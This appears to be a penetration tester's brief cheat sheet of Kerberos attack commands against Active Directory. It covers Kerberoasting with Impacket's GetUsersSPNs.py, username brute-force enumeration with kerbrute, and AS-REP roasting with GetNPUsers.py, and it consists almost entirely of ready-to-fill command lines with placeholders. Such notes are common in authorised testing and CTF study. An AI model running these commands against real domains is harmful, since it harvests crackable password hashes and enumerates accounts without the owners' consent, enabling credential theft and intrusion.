Kerberos

with user and password

// KERBEROASTING
// add the dc-ip on the vhost to resolve the DC-NAME and DC-COMPUTER-NAME
GetUsersSPNs.py <dc-name>/<user>:<password> -request

without user and password

//bruteforce with a userlist
/opt/windows/kerbrute_linux_amd64 userenum <userlist.txt> --dc <dc-ip> -d <dc-name> 

// ASREPRoast
//
GetNPUsers.py <dcname>/ -no-pass -usersfile <usersfile.txt>